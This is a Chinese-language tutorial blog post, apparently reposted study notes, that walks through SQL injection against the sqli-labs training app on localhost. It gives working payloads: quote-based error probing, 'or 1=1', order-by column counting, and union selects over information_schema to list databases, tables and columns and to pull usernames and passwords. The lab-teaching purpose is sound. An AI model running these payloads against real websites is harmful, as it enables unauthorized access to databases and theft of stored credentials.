sqli学习笔记-02

admin 2023年2月9日09:00:03评论18 views字数 2155阅读7分11秒阅读模式

sqli学习笔记-02

声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。

正文

在http://localhost:8888/Less-5/?id=1后面直接添加一个 ‘ ,来看一下效果:

sqli学习笔记-02

报错信息为: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB/MySql server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

这里大胆推测一下,源代码应该是类似于 $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

这里稍微解释一下这段sql的大体逻辑:查询一个名为 "users" 的数据表。具体地,它是选择该表中所有的列(用 "SELECT *" 表示),并在 WHERE 子句中指定 "id" 列的值为变量 "$id"。最后,使用 "LIMIT 0,1" 子句限制只返回一行数据。

从上述错误当中,我们可以看到提交到 sql 中的 1’在经过 sql 语句构造后形成 '1'' LIMIT 0,1(正常情况下为: '1' LIMIT 0,1), 多加了一个  。这种方式就是从错误信息中得到我们所需要的信息,那我们接下来想如何 将多余的 ‘ 去掉呢?

尝试 ‘or 1=1--+

sqli学习笔记-02

可以看到正常返回数据。

此处可以利用 order by。Order by 对前面的数据进行排序,这里有三列数据,我们就只能用 order by 3,超过 3 就会报错。 ‘order by 4--+(这里的列数是可以试出来的)的结果显示结果超出。

sqli学习笔记-02

最后从源代码中分析下为什么会造成注入?

Sql 语句为$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

Id 参数在拼接 sql 语句时,未对 id 进行任何的过滤等操作,所以当提交 ‘or 1=1--+,直接构 造的 sql 语句就是: SELECT * FROM users WHERE id=’1’or 1=1--+ LIMIT 0,1

这条语句因 or 1=1 所以为永恒真。

此外,此处介绍 union 联合注入,union 的作用是将两个 sql 语句进行联合。Union 可以从 下面的例子中可以看出,强调一点:union 前后的两个 sql 语句的选择列数要相同才可以。U nion all与union的区别是增加了去重的功能。我们这里根据上述background的知识,进行 information_schema 知识的应用。

http://localhost:8888/Less-1/?id=-1'union select 1,2,3 --+

当 id 的数据在数据库中不存在时,(此时我们可以 id=-1,两个 sql 语句进行联合操作时, 当前一个语句选择的内容为空,我们这里就将后面的语句的内容显示出来)此处前台页面返 回了我们构造的 union 的数据。

sqli学习笔记-02

爆数据库

http://127.0.0.1/Less-1/?id=-1%27union%20select%201,group_concat(schema_name),3% 20from%20information_schema.schemata--+

此时的sql语句为SELECT * FROM users WHERE id='-1'union select 1,group_concat(schema_name),3 from information_schema.schemata--+ LIMIT 0,1

sqli学习笔记-02

爆 security 数据库的数据表(localhost也可以写为127.0.0.1)

http://localhost:8888/Less-1/?id=-1%27union%20select%201,group_concat(table_name),3%20f rom%20information_schema.tables%20where%20table_schema=%27security%27--+

此时的sql语句为SELECT * FROM users WHERE id=’-1’union select 1,group_concat(table_n ame),3 from information_schema.tables where table_schema=’security’--+ LIMIT 0,1

爆users表的列

http://127.0.0.1/Less-1/?id=-1%27union%20select%201,group_concat(column_name),3%2 0from%20information_schema.columns%20where%20table_name=%27users%27--+

此时的sql语句为SELECT * FROM users WHERE id=’-1’union select 1,username,password f rom users where id=2--+ LIMIT 0,1

sqli学习笔记-02

Less1-less4 都可以利用上述 union 操作进行注入

技术交流请加:
sqli学习笔记-02

往期回顾

2022年度精选文章

原文始发于微信公众号(迪哥讲事):sqli学习笔记-02

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年2月9日09:00:03
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   sqli学习笔记-02https://cn-sec.com/archives/1543900.html

发表评论

匿名网友 填写信息